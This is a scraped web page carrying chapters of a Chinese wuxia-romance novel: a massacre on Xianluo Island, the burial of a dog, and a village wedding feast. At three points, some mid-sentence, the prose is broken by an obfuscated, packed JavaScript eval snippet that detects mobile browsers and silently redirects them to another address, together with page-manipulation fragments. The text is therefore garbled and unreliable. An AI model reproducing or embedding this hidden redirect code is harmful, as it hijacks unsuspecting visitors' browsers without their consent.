陈渊龙将令牌收回怀中,道:“这些年来,我一直在寻曾经七大世家之一乔家的大小姐。她名唤乔天璇,江湖中似有关于她的消息,说她如今在仙落岛上,我便寻到了此处。当年天璇与我共患难,我答应了她要娶她为我的太子妃,让她从此不再受苦,享尽荣华富贵。” 洛侠神色一顿,道:“太子殿下怕是要白跑一趟了,仙落岛上并没有姓乔的女子,我的徒儿能和曾与太子殿下共患难的乔家女同名也算是一种荣幸。” 陈渊龙试探道:“洛兄,我见你的徒儿与乔天璇生得极其相似,不知她是如何入的师门?” 洛侠道:“天璇是我很久之前出岛时在一个大雨夜从一棵枯树下捡来的孤儿。” 乔天璇默默地继续吃着点心,心中忐忑不安地思索着。 与陈渊龙共患难?陈渊龙还答应了自己要娶自己为他的太子妃?这都是什么时候的事情啊?还有什么“从此以后不再受苦,享尽荣华富贵”鬼才会信,肯定都是哄人的话!当年给他当伴读时受他的冷眼还受得少吗?简直就是个人形冰库,时不时就让人冰冻一回,谁能受得了当他的太子妃,天天跟他在一起?那不得被活活冻死了! 想着,乔天璇不敢再将半点目光分到门口处。 “没想到他居然是这样的太子殿下,还挺执着。”花蕊嘴里塞满了点心,说话含糊不清。 乔天璇低声嘀咕道:“什么执着?那分明就该叫‘施虐成性,贼心不死’啊!” “哇,可是……为啥这样说呀?”花蕊毕竟不知乔天璇曾经当过陈渊龙的伴读,不明白乔天璇为何会得出这样的结论。 “灭妖仙人!灭妖仙人!不好了!出事了!出大事了!” 听到这由远而近的声音,乔天璇疑惑道:“祝源?” “这书呆子怎么来了?”花蕊快步来到窗户前,探头往外望去。 乔天璇也跟到了花蕊身后,看到一白面书生模样的青衣男子正火急火燎地往这边赶来,嘴里惊恐地唤个不停。 洛侠道:“何事如此紧张?” 祝源气喘吁吁地跑至洛侠跟前,慌张道:“灭妖仙人,好多黑色的恶灵跟着一大群奇怪的人来到了仙落岛上!那些恶灵直逼当年被您封印的妖物那处,拦都拦不住!” “不好,要出事!”洛侠顿时一惊,连忙对陈渊龙道:“太子殿下,失陪,我得即刻去察看岛上被我封印的妖物。” 听到这话,乔天璇立马转身赶到了洛侠身旁,准备与洛侠一同前往。 花蕊则跑到了祝源身旁,往他嘴里塞了半块她刚吃剩的点心。 陈渊龙道:“我也一起去。” 洛侠道:“那地方实在是危险,太子殿下当真要去?” 陈渊龙道:“身为太子,自是要护子民周全。更何况这次来仙落岛,与我随行的护卫们为了护我,已经全部遭遇海难葬身大海。此番我若再在危难前当个缩头乌龟,岂不彻底成了一个无能之人?” “那太子殿下便随意罢。”洛侠即刻出发,任由几人跟在身后,一同快步赶往岛上封印妖物的地方。 祝源吃完了花蕊塞给自己的半块点心,上下审视着陈渊龙的背影,小声疑惑道:“太子殿下?他当真是太子殿下?” 花蕊轻轻拱了一下祝源的肩膀,低声道:“灭妖仙人都称他为太子殿下了,那他肯定就是太子殿下啊。更何况我方才还亲眼见他从怀里掏出了太子的令牌给灭妖仙人看,灭妖仙人一眼就确定了他是太子殿下,就这还能有假?” “哦哦哦哦……那假不了,那肯定假不了。”祝源像是霎时间换了一张脸似的,看着陈渊龙的眼神一瞬间就从怀疑变成了敬仰。 几人一路快步来到了当年洛侠封印妖物的地方。 此地位于仙落岛中心的一处地底下,与桃林的距离并不算远。 “嗷——嗷——” 地底下传来恐怖的吼叫声,犹如从地狱中传来恶兽怒吼。 看着眼前的大坑上方聚集着的众多飘来飘去的黑色恶灵,洛侠从怀中用两指夹出一张灵符,口中念咒,即刻施法。 灵符发亮,大坑上现出了一个在缓缓旋转着的红光大阵。 洛侠让发亮的灵符飞至红光大阵上方的黑色恶灵当中,众黑色恶灵当即就如炸了锅一般四散逃窜起来。 然而下方的红光大阵也在此刻猛然爆发出了一道通天而去的红色光柱。 众黑色恶灵还未来得及逃出红光大阵,便被这道红色光柱给净化得烟消云散,再不见踪影。 洛侠掐诀,再次念咒,十息之内,红光法阵上的红色光柱缓缓散去,覆在大坑上的红光法阵也重新隐了起来。 “不愧是灭妖仙人!厉害厉害!”祝源兴奋得双目都要闪出星星来了。 “嗷——嗷啊——” 地底下那妖物传来气急败坏的吼叫声,似是在可惜黑色恶灵们费尽力气聚集到此处,结果就这么被一道法阵给快速解决了,又似是在对自己痛失了一次出逃的机会而感到气愤和惋惜。 陈渊龙道:“洛兄,这是怎么回事?” 洛侠道:“太子殿下有所不知,这大坑下面有一只会残害人的妖物,被我用镇玉封印着。后来出过一次意外,镇玉居然被盗墓贼给偷拿了,被封印的妖物差点由此逃脱,我就又在大坑上设下了一个法阵,专门防止一切人和物下到这大坑里去碰封印妖物的镇玉。若是有任何东西来到这法阵之上,只要我祭出‘杀灭符’,便会被这法阵即刻消灭。” “既是如此,那就是说我们即使走到这个大坑上也不会掉下去?”陈渊龙看向了眼前黑漆漆的大坑,冷眸微沉。 “没错,太子殿下若是不信,尽可一试。”洛侠对陈渊龙做了一个“请”的手势。 “不必,既是灭妖仙人所言,那我自然相信。”陈渊龙的目光落到了洛侠身上,眼底已对洛侠有了一丝敬佩之色。 “好,洛某能得太子殿下信任,心中实在欢喜。”洛侠对着陈渊龙礼貌一笑,转身便往来时路走去。 一直跟在落侠身旁的乔天璇道:“师父,我们现在是去找祝源说的那些被黑色恶灵跟着一路来了仙落岛上的那些人吗?” “没错。”洛侠脚下的步子更快了,他转头看向了祝源:“你见那些人上岛之后先去了岛上哪里?” 祝源道:“那些人是从西边来的,岛上的碧海村和碧云村一个在南一个在北,我也不知他们会先去哪个村。” 花蕊猜测道:“今日碧云村的小集市热闹,也许会吸引那些上岛的人先去碧云村?” “有道理。”乔天璇对洛侠道:“师父,那我们先去碧云村看看吧。” “嗯。”洛侠点了点头,迈步直奔碧云村。 不久前才去过碧云村的乔天璇其实不太相信那些上岛的人会在这么短的时间内对岛上的人做出什么过分的事情。 想来那些黑色恶灵也只是跟着那些人上的岛而已,总不能那些人也都是恶人吧? 乔天璇心中忐忑不安,一路上看到的仙落岛上灵气四溢的美景在这一刻仿佛都不存在了。 然而,几人在来到碧云村后并没有感受到小集市的热闹。 静,安静,极度的安静。 满地的鲜血和村民尸体如避无可避的利刃一般扎入几人眼中。 乔天璇难以置信不久前才在这儿买过东西的热闹地方居然在这么短的时间内就变成了如此可怕的样子。 花蕊情不自禁捂住了自己的嘴巴,双目惊得都瞪圆了。 “爹!娘!”祝源突然发了疯一般冲向村子中的一间屋子。 几人连忙紧跟其后。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17025579|194382||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >祝源猛地冲进已经被打开了门的院子,几步跨入屋内。 “爹!!!娘!!!”祝源没有看到父母的身影,声音都忍不住颤抖了起来。 “我儿?” 疑惑的声音从屋内的角落里摆着的石龟下传出。 祝源立马回过神来,像是突然想起了什么似的。他大步冲到了石龟前,用力把石龟搬起。 石龟并不算很大,约摸只有一个成年人的人头大小。 祝源在搬起石龟的同时,以石龟为中心的一圈地面也被搬开了。 乔天璇心中一喜。 原来是个可以藏身的地窖。 这样一来,祝源的父母应当是没事了。 看着从地窖中爬出来且并未受伤的夫妇,乔天璇松了一口气。 “爹,娘,你们活着,还活着,太好了……”祝源紧紧搂着自己的父母,眼泪不受控制地大颗大颗落出。 洛侠道:“活着就好,那我们再去外面看看还有没有幸存者。” “灭妖仙人!那些要杀我们的人现在估计已经在去隔壁碧海村的路上了!您快先去救救碧海村的人吧!”妇人发着抖望向了洛侠,面色惨白。 闻言,花蕊慌张道:“姑姑……表弟,我得去救我姑姑和表弟!” “行,那我们即刻前往碧海村。”洛侠当即出了屋子,往碧海村的方向赶去。 乔天璇连忙跟到了花蕊身旁,安慰道:“没事的,你姑姑和表弟一定会没事的。” 花蕊自幼父母双亡,她是在姑姑家长大的。她亲眼见着姑姑先后嫁了五次人,可丈夫不是病死就是在出海捕鱼之后便再无音讯。至此,她姑姑不再改嫁,而是安安心心独自一人将自己和最后一任丈夫生下的儿子与花蕊一同带大。 看着花蕊惶恐不安的表情,乔天璇心中只愿那些上岛杀人的家伙脚程慢些,不要那么快就赶到碧海村杀人。 几人都已经十分熟悉仙落岛上的各种小路了,洛侠毫不犹豫地带着几人从一条距离碧海村最近的小路抄了去。 待刚靠近碧海村时,几人就听到了村子传出喊打喊杀的声音。 洛侠当即拔出腰间佩剑“惜今”冲入了碧海村的大门。 霎那间,刀剑之声比方才更甚。 乔天璇取下缠在腰间的软剑“削魂”,护着花蕊冲入了打打杀杀的人群中。 这些拿着刀剑的人明显是两批人,其中一批身着皇家士兵的服饰,一看就知道是皇室的人派出来的。另一批则全身上下黑衣黑裤,头裹黑巾,脸蒙黑布,一看就知道是暗杀组织之类的人。但他们此刻似乎已经成了一伙人,目的都是杀人。 乔天璇见洛侠在看到那些黑衣人后登时双目一惊,眉头骤然一紧,手中使出的剑招也更加狠厉。 陈渊龙则在看到那些身着皇家士兵服饰的人后眼神彻底暗了下去,眉目间皆是难以克制的怒火。 其中一个黑衣人刚想对洛侠说些什么,洛侠便持着惜今一剑刺穿了黑衣人的喉咙。 “你是……” “呲!!!” 另一个黑衣人还想对洛侠说些什么,却是刚只说了两个字就被洛侠一剑从嘴巴刺穿了过去。 “太子殿下,你果真在此!”身着皇家士兵的服饰的人齐齐围上了陈渊龙,他们冲着陈渊龙而去的刀剑寒光直冒。 但陈渊龙的武功剑法也十分了得,以一敌十根本不在话下,直杀得尸体一片一片接连不断地倒下。 见状,许多黑衣人赶来围攻陈渊龙。 但洛侠这会儿已经由被杀变成了追着黑衣人杀。 所有想去杀陈渊龙的黑衣人还没来得及赶到陈渊龙那儿便先一步被洛侠一剑砍死。 洛侠的剑法极快,快得都让乔天璇感觉他有些着急了。 奇了怪了,乔天璇还是头一回见洛侠杀得如此着急,就仿佛是生怕这些黑衣人会晚死一步似的。 而且但凡哪个黑衣人想要说话,都会被洛侠给直接锁定目标,变成他先杀的对象。 趁着这两批人此刻都突然不杀村民,全都改了目标去杀洛侠和陈渊龙了,乔天璇赶紧护着花蕊前往她姑姑家。 两人一步一步踩着满地鲜血前行,乔天璇能明显感觉到怀中的花蕊在瑟瑟发抖。 她搂着花蕊的手紧了紧,轻声安慰道:“阿蕊不怕,你姑姑和表弟肯定不会有事的。” 5. 仙落岛上(五) 还未到花蕊姑姑的家,花蕊便惊道:“姑姑!表弟!” 乔天璇顺着花蕊的目光望去,瞧见花蕊的姑姑和表弟正抱在一起缩在一处不起眼的屋檐底下。 “阿蕊?阿蕊!” “阿姐?阿姐!!!” 花蕊的姑姑见到了被乔天璇护在怀中的花蕊,恐惧的眼神立马安稳了不少。 花蕊那年幼的表弟拼命地朝花蕊挥手,满眼喜出望外。 “没事就好。”乔天璇连忙带着花蕊跑到了她姑姑和表弟跟前。 然而,乔天璇在离近了之后才看清楚花蕊的姑姑和表弟跟前躺着一只浑身淌血,头颅不翼而飞的大黄狗。 乔天璇心中一沉。 她对这狗不可能不眼熟,眼前的画面看得她心中像是有什么东西突然碎掉了一样。 “天璇啊,刚刚大将军为了救我们,它跳起来挡在了我们前面,好让我们有时间逃跑。可是等我们再回来找它时,就看到它已经被、被……”花蕊的姑姑说着说着便哽咽了。 “大将军……大将军!”花蕊不可置信地伸出颤抖的手指碰了碰眼前已经被血染红了全身的大黄狗。 可大黄狗的身子没有丝毫起伏,已经彻底没气了。 乔天璇感觉自己的身子一瞬间有些发僵。 大将军如此鲜血淋漓的身子定是不止挨了一两刀,怕是为了保护花蕊的姑姑和表弟,浑身上下到处都是致命伤。 而这大将军是乔天璇、花蕊、祝怀风三人一起从小养大的狗,它非常懂事,从来不乱咬人,十分通人性,还帮忙带过花蕊的表弟,用毛茸茸的狗爪子给躺在摇篮中的花蕊表弟摇过摇篮。在三人的心中,大将军早就已经是他们的家人了。如今大将军就这么死了,乔天璇心中的悲伤和怒火顿时齐齐直窜脑门顶。 “我要杀了那些上岛的混蛋!”乔天璇双目血丝都爬了上来。她再也克制不住自己的情绪,当即持着削魂折返了回去。 “天璇姐姐!”花蕊忍不住拉了一下乔天璇的衣袖。 乔天璇道:“大将军的这个仇我必须得报。” “我也去!”花蕊眼神坚定:“既然我姑姑和表弟都没事,那我便安心了。给大将军报仇的事情,也算我一份!” 乔天璇道:“好。” 两人当即毫不犹豫地一齐返回传来打打杀杀声音的方向。 “小心点啊!阿蕊,天璇,千万别伤着了!”花蕊的姑姑在两人身后焦急地喊着。 “放心吧姑姑!我不会有事的!”花蕊扬了扬手,头也不回地与乔天璇一同往前跑去。 来岛上到处行凶的那些人这会儿还在与陈渊龙和洛侠战个不停。 不过行凶之人已经少了许多,看来已经被陈渊龙和洛侠解决了不少。 乔天璇持着削魂猛地砍杀起了那些还欲前去杀洛侠的人。 花蕊则抽出腰间挂着的两把短刀,左右手都不停歇地往那些行凶之人的脖子上砍。 见乔天璇和花蕊回来了,洛侠顿时杀得又快又狠,尤其是那些黑衣人。 “是二皇子派你们来杀我的吧?”陈渊龙语气冰冷地问着一个身着皇家士兵服饰,被他一剑刺穿了心脏的人。 “是又如何?能被太子殿下亲手杀死,不亏……”那人强撑着说完之后就咽了气。 “哼,没完没了,阴魂不散。”陈渊龙狠狠拔出沾满鲜血的剑,即刻又刺向了另一个要来杀他的人。 他杀伐果决,对要杀他的人毫不留情,几乎都是一招毙命。 乔天璇方才听到陈渊龙提到二皇子,立马就回想起了她小时候曾在皇宫里见过的那位陈渊龙的二弟陈玄。 陈玄品行顽劣,与陈渊龙同父异母。乔天璇在给陈渊龙当伴读的那段时日就已经能够明显感觉得出陈玄十分不服陈渊龙,明里暗里都与陈渊龙为敌。 现在这兄弟俩长大了,也到了争夺皇位的年纪,自然会有一场更加残酷的恶斗。 就陈玄的性子来看,眼下他派一大堆人去明里暗里地杀自己的竞争对手是再正常不过的事情。而从刚刚陈渊龙说到“没完没了,阴魂不散”便可以看得出眼前的这种事情陈渊龙怕是已经经历过很多次,都已经到了熟悉和厌烦和地步了。 四人联手杀敌,不多时,这些来岛上的行凶之人就被灭了个一干二净。 “师父,你没事吧?”乔天璇快步跑到了洛侠身旁。 洛侠道:“为师无事。” “对不起,那些上岛行凶之人的最终目的是要来杀我。现在仙落岛死了这么多人,都是因为我。”陈渊龙很是自责。 “是啊,都是因为你。”花蕊看着陈渊龙的眼神十分不友好。 洛侠严肃道:“那些黑衣人的招式我倒是知道出自哪里,他们肯定只是暗杀组织派出的一小部分,这次他们来仙落岛出任务杳无音讯,下次肯定还会再来,我必须出岛去将这暗杀组织的人全部解决了才行。” 乔天璇连忙道:“师父带上我!他们杀了大将军,我得为大将军报仇!” 洛侠道:“大将军也被他们给杀了?” 听到“大将军”一词,陈渊龙眉头忽地一抽,欲言又止。 花蕊悲伤道:“大将军为了保护我姑姑和表弟,被他们连狗头都给砍了去。” “竟是连狗都不放过。”陈渊龙恍然大悟的同时眉头微蹙。 乔天璇道:“师父,我们先去安葬了大将军,然后就出岛去为大将军报仇!” “可是……”洛侠有些为难。 “师——父——”乔天璇凑到了洛侠跟前,撒娇一般央求着。 “那……行罢。”洛侠语重心长道:“但是切记,出岛之后万万不可远离为师。” 乔天璇道:“好!都听师父的!” 花蕊道:“那我就跟着天璇姐姐!我也要去给大将军报仇!” 洛侠道:“阿蕊也去?” 花蕊道:“当然了!我可是有仇必报之人,为大将军报仇之事可不能少了我的份。而且我一日不见天璇姐姐就吃不好饭,睡不好觉,总不能让我在岛上苦苦等天璇姐姐吧?” “师父放心,我一定会保护好阿蕊的!”乔天璇信心满满地搂住了花蕊。 “嗯嗯!”花蕊猛地点了点头。 洛侠思索了一瞬,似是不打算反驳什么。他叹了一口气,道:“也好,这样一路上璇儿能够有个伴。” 乔天璇开心道:“那就这么说定了!” 事情定下来了,师父也同意了,乔天璇不由得开始期待起了出岛之后的日子。 仙落岛虽然安逸,但岛外的世界才是乔天璇在梦中时不时就会思念的地方。 毕竟她并不是仙落岛人,也不是从一出生就在仙落岛上长大,她知道岛外面的世界更大更精彩。 在安顿好村子里被袭击的村民之后,四人便一同去安葬为了救花蕊的姑姑和表弟而身亡了的大将军。 乔天璇寻遍了大将军死去之地的周围各处,终于在不远处的一棵树下找到了被砍下来的狗头。 思来想去,乔天璇和花蕊决定把大将军葬在祝怀风的墓旁。 祝怀风作为三侠行客之一,他生前与大将军的关系亦是如亲人一般,总是会把吃剩的鸡架带来给大将军啃。若是把大将军葬在祝怀风的墓旁,这一人一狗也算是能互相作伴了。 “太、太子殿下!” 祝源气喘吁吁的声音突然从四人身后响起。 四人回头一望,见祝源已经背好了箱笼,一副准备进京赶考的模样。 花蕊不解:“书呆子,你突然这样是要干嘛?” 祝源道:“都说万般皆下品,惟有读书高,我一直以来都想要考取功名,光宗耀祖。此番又见到了太子殿下,这一切许是天意。若是太子殿下想要回宫,那我便即刻随同太子殿下!阿蕊,待我高中状元,你就可以当我的诰命夫人了!” “哎呀!你说什么呢?!书、书呆子!”花蕊两颊顿时通红,看着祝源的眼神都有些躲闪了。 乔天璇心知祝源喜欢花蕊,但花蕊许是还未知晓自己对祝源到底是什么样的感情。 不过乔天璇其实能够感觉得到花蕊心底也是喜欢祝源的,只是她在这件事情上脸皮薄,得需要一个说得出口且正大光明、合情合理的理由,要不然她可能永远都不会让自己捅破自己喜欢祝源的那层窗户纸。 想到这里,乔天璇决定给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17025580|194382||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他们两人创造一个机会。她对陈渊龙道:“太子殿下,这位书生是我的朋友,不知他的想法你可同意?” 陈渊龙转头落到乔天璇身上的在目光一瞬间变得温热。 “天璇姑娘既是如此说,那自然是可以的。” “好!太子殿下真是个好人!”乔天璇对陈渊龙露出了赞许的目光。 “多谢太子殿下!”祝源激动地对陈渊龙拱了拱手。 “算你好运,书呆子。”花蕊转头不看祝源,表情看起来气鼓鼓的。 但乔天璇注意到花蕊不看祝源时的嘴角是微微往上扬了的。 五人一齐回到了桃花林,在漫天纷飞的桃花瓣中来到了祝怀风的墓旁。 大家齐心协力挖土埋葬大将军,祝源则从一旁的桃树下找来了一根比较粗的桃枝,在上面工工整整地刻了“大将军之墓”五个字,插在了大将军之墓的坟包上。 看着眼前两个挨在一起的坟包,花蕊喃喃道:“小风子,你以后要和大将军一起好好的哦。” 乔天璇道:“怀风兄,大将军,我们就要出岛了,也不知这一路上会遇到什么。或许会跟我们三人之前顶着三侠行客的名号那样吧?会有欢乐,也会有奇遇。不过最好还是不要再遇到什么棘手难缠的事情了。” “这一次有为师在,为师会护好你的。”洛侠的手轻轻落在了乔天璇一边的肩膀上。 “嗯,有师父保护我,我什么都不怕。”乔天璇看向了洛侠,抬头对他扬起了笑。 与此同时,乔天璇的余光瞥见陈渊龙一直在注视着自己。当自己对洛侠笑时,能够明显感觉得到陈渊龙脸上的表情都不太自在了。 唉,谁让某个人当年总是冷眼冷脸对人的?现在的他就活该受着。 乔天璇心中暗爽。 她就喜欢看陈渊龙因为自己而不自在和因为自己吃醋的样子,有一种大仇得报的快感。 收拾准备妥当好后,五人一同来到了仙落岛的码头。 放眼往去,眼前是一望无际的汪洋。 海鸟在海面上三三两两地飞着,鸣叫声响彻天际。 乔天璇道:“太子殿下,你之前说与你随行的护卫们为了护你,已经全部遭遇海难葬身大海,那今日你经过的那片海域是不是很不平静?” 陈渊龙道:“对,我们得换一条离那片海域远一点的路。” 洛侠道:“那就劳烦太子殿下来助我掌舵了。” 陈渊龙道:“好。” 洛侠的船技乔天璇自然是不必担心。不管怎么说,洛侠都是会法术的人,哪怕遇上了海怪也可一战。至于逃跑,那是极少会发生的事情。 五人所乘之船是去年三侠行客所乘之船,乔天璇和花蕊都熟悉得很。 乔天璇记得很清楚,当时是祝怀风在掌舵。自己和花蕊便像是现在这样在船上随意地瘫坐着,任由海风吹拂着头发。 祝源一副初见世面的样子看着波光粼粼的海面,眼神中充满了期待。 他是读书人,家里从来没有让他出海捕过鱼,这次出海是他第一回坐船。看着后方变得越来越小,离得越来越远的仙落岛,乔天璇瞅见祝源的目光中露出了些许不舍之情。 “怎么?这就已经开始想家了?”乔天璇悄无声息地步至祝源身后,差点把看着快要消失在视线里的仙落岛的祝源给吓了一跳。 “是、是啊。天璇姑娘,我是土生土长的仙落岛人,这是第一次离家,而且还是去进京赶考,以后不知何时才会回来。”祝源说得有些不好意思。 “等你高中状元了,你就可以带着你的诰命夫人风风光光地回来给大伙儿报喜了。”乔天璇轻轻拍了一下祝源的肩膀。 “承你吉言。”祝源信心满满地望向了乔天璇。 “又在叽叽咕咕瞎说些什么呢!”花蕊气呼呼地来到了两人身后。 “没什么没什么没什么。”乔天璇连忙转身对着花蕊摆了摆手。 花蕊双手叉腰,语气随意道:“我不信。” 祝源转身望向了花蕊,认真道:“阿蕊,我一定不会让你失望的。” “切。”花蕊两颊微红,把头歪向一边,朝天边飞着的一对海鸟望去。 6. 小泽渔村(一) 选了海面相对来说比较平静的路线,一路上虽有些许风浪颠簸,但有惊无险,五人平平安安随着船靠了岸。 “小泽渔村!”乔天璇远远就望见了去年她以三侠行客的身份出岛后在船靠岸时看到的那个渔村。 “看到了!我们又到这个渔村了!”花蕊很是兴奋。 在海上行了许久,现下天边已经微现霞光。 “走,我们今晚去那个小泽渔村里落脚!”乔天璇下船后带头冲在了最前面。 “嗯嗯!”花蕊紧随在乔天璇身后,张开双臂尽情感受着海岸边吹来的海风。 海岸边的海风与海上的海风、风景给人感觉不大一样。乔天璇虽然不太会形容,但那书生祝源倒是会吟诗:“动地惊风起海陬,为人吹散两眉愁[1]。” 花蕊暗声嫌弃道:“文邹邹的。” 乔天璇转头见花蕊满脸无奈的笑意,忍不住心中一乐。 此时,小泽渔村的码头边有一个坐在一块大大的礁石上发呆的男孩。 这男孩在瞅见乔天璇和花蕊之后当即一愣,随后他立马站起身跳下了礁石,疾步朝着她们二人跑来。 “云天!玉心!你们终于又出仙落岛了!” 闻声,乔天璇和花蕊齐齐望向了男孩,惊喜道:“海顺!” 海顺高兴地一蹦三尺高,欣喜道:“你们这回来得正好,赶上喜事了!” 乔天璇好奇道:“是何喜事?” 海顺道:“咱村里头那位他大哥在京城中当官的沈宝阳跟村花丽丫成亲了!今晚能有席吃呢!” 花蕊好奇道:“既然有这样的喜事,那你怎么还独自一人在这儿看海?” “哪儿是我一个人啊?还有我妹妹呢。”海顺伸手指向了不远处,无奈道:“我妹妹说她想来海边捡贝壳,我就陪她一起来了。” 乔天璇和花蕊往海顺指着的方向一望,果真瞧见一个七、八岁左右的小女孩在海滩上认真地捡贝壳。 “你还真是个好哥哥呢。”花蕊看着海顺的妹妹,欣慰一笑。 “天色不早了,我去叫我妹妹和大伙儿一起去吃席。” 说罢,海顺便往她妹妹的方向走去。 “他是你们的朋友?” 陈渊龙的声音在乔天璇和花蕊的身后响起。 花蕊转头看向了陈渊龙,点头道:“对。” “嗯。”乔天璇头也不回地回应。 洛侠道:“这男孩就是璇儿之前跟为师提到过的顺子吧?” “是啊师父!”乔天璇连忙回头,见洛侠正神色温和地看着自己。 余光中,乔天璇感觉到陈渊龙似乎也在看着自己。 但乔天璇并没有在意陈渊龙的目光。 海顺没一会儿就牵着妹妹回了来。 他抬头望向了乔天璇和花蕊身后的三人,半喜半疑道:“这回你们来了好多人啊,不过怎么没见风筝?” 乔天璇知道海顺在奇怪祝怀风怎么没来。她遗憾道:“风筝中了歹人的慢性毒药,已经不在了。” “啊?”海顺震惊,双眼都瞪大了不少。他慌忙“呸呸”了两声,道:“节哀,是我不该问。那个……话不多说,我现在就带你们去村子里吧。” “好。”乔天璇点了点头。 几人跟着海顺走了不多时就来到了小泽渔村中。 想必是因为沈宝阳和丽丫大婚,小泽渔村中家家户户的大门都挂上了红彤彤的喜带,十分喜庆。 乔天璇左顾右盼看个不停。 她还是头一回见到一家人成亲,全村都挂满红喜带的。 走在最前面带路的海顺道:“这些喜带是沈宝阳那大哥出钱让全村都挂上的。反正他大哥在京城中当官,俸禄高,有的是钱,又宠自己的弟弟,真是令人羡慕啊。” 乔天璇道:“的确,不过能够真的把这么大的阵仗给搞起来,沈宝阳八成也很爱丽丫吧。” 海顺撇了撇嘴,嘟囔道:“沈宝阳爱不爱丽丫我不知道,我只知道丽丫与铁牛哥青梅竹马,现在丽丫却要嫁给沈宝阳了。唉,大人们的想法真是一天一个样子,猜不透猜不透。” 乔天璇抬头望了望晚霞绚丽的天空,感叹道:“依我看啊,定是丽丫突然发觉比起铁牛哥,沈宝阳对她更好,于是她最后就下定决心跟沈宝阳在一起了。” 闻言,陈渊龙看着乔天璇背影的目光忽地暗沉了一瞬。 “嗯……也不是不可能。”海顺若有所思。 乔天璇道:“对了,海顺,今晚我们能在你家留宿吗?” 海顺惊喜道:“当然了!我家的阁楼和客房是空着的,都可以住!” “那就多谢你了。”乔天璇感激地笑了笑。 “没事儿!三侠行客能来我家留宿,我高兴还来不急呢!” 说着,海顺回头看了乔天璇和花蕊一眼。 “哥哥,你看,这个贝壳是粉色的哎!”海顺的妹妹捏着一个小小的贝壳递到了海顺面前,满眼期待。 “好看,淼淼真棒。”海顺拿过妹妹递过来的粉色贝壳,仔细瞧了瞧,又还到了妹妹手中。 淼淼期待道:“我想要哥哥把这个粉色的贝壳做成项链给我戴!” “好好好,淼淼乖。”海顺摸了摸妹妹的脑袋:“哥哥今晚一回去就给淼淼做。” 淼淼道:“那我想要红色的细绳来当串项链的线。” 海顺道:“行啊,淼淼想要什么样的线都行。” 淼淼道:“那我还想要在粉色的贝壳两边再串几颗小珍珠!” 海顺道:“改日我们再去寻些蚌壳,看看能不能从蚌壳里取到好看的小珍珠。” “那我们什么时候去寻蚌壳啊?”淼淼好奇地抬头望着哥哥。 “明日吧。”海顺轻轻捏了捏妹妹的脸蛋。 听着兄妹两人的对话,几人很快就来到了沈家办宴席的地方。 眼前处处张灯结彩,大红灯笼和花灯就跟不要钱似的,挂得满满当当,十分亮堂。 这是小泽渔村平日里大伙儿一起议事的地方,地方很大。今日在这儿摆的宴席足够让全村人都坐得下,甚至还有余位。 随了礼后,海顺带着几人去了专门用来招呼远道而来的好友那一桌。 前方临时搭起的台子上有沈家人请来的戏班子在唱戏,咿咿呀呀增添了不少热闹。 乔天璇早就饿了,她二话不说便拿起筷子吃了起来。 洛侠坐在乔天璇左侧,他见乔天璇喜欢吃哪个菜便帮她多夹她喜欢吃的菜添到她碗里去。 乔天璇自然也不会客气,洛侠给她夹多少,她就吃多少。 坐在乔天璇右侧的花蕊则边吃边看着戏台上的戏班子演戏。 那戏恰好演到一对璧人误会解开重归于好,台上氛围一片喜悦,与台下的热闹相得益彰。 祝源瞧见洛侠给乔天璇夹菜,他也忙不迭地给花蕊夹菜。 陈渊龙毕竟是五个人中唯一没有在仙落岛上久居过的“外来人”,他坐在洛侠的另一边,只能暗暗咬牙看着在不断地吃洛侠给她夹来的菜的乔天璇。 洛侠是乔天璇的师父,师父宠徒弟合情合理,陈渊龙纵使身为太子,于情于理却也不能直接命令洛侠不许给乔天璇夹菜,更不可能命令乔天璇不许吃洛侠给她夹的菜。 “哎,你们是沈宝阳的朋友,还是丽丫的朋友啊?” 乔天璇一惊,慌忙转脸抬头一望,见说话的人是一个前来敬酒的男子。 这男子是个青年人,瘦得像根没什么汁水的甘蔗,浑身酒味,已经喝得眼神都有些迷离了。 “我们是丽丫的朋友。”乔天璇硬着头皮瞎说,随即便拿起酒碗站起身碰了碰男子的酒碗,赶忙转移话题,语气豪迈道:“好酒!干!” “哦……好,干!”男子被乔天璇的豪迈语气感染,又见乔天璇喝酒喝得爽快,他也不含糊,立马仰头喝起了酒。 花蕊知道乔天璇是在强行转移话题,赶忙起身帮忙烘托气氛,拿起一碗酒爽快地道了声“干!”便“咕嘟咕嘟”喝了起来。 见状,洛侠、祝源、陈渊龙都拿起酒碗接连站起了身,用如兄弟结义般的语气道了声“干!”后齐齐仰头喝酒。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17025581|194382||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>男子见大家如此热情,满脸欢喜道:“今儿这大喜之日,祝你们吃得愉快啊!” 乔天璇赶紧笑脸回应道:“好,那也祝大哥万事如意,心想事成,吃得开心!” 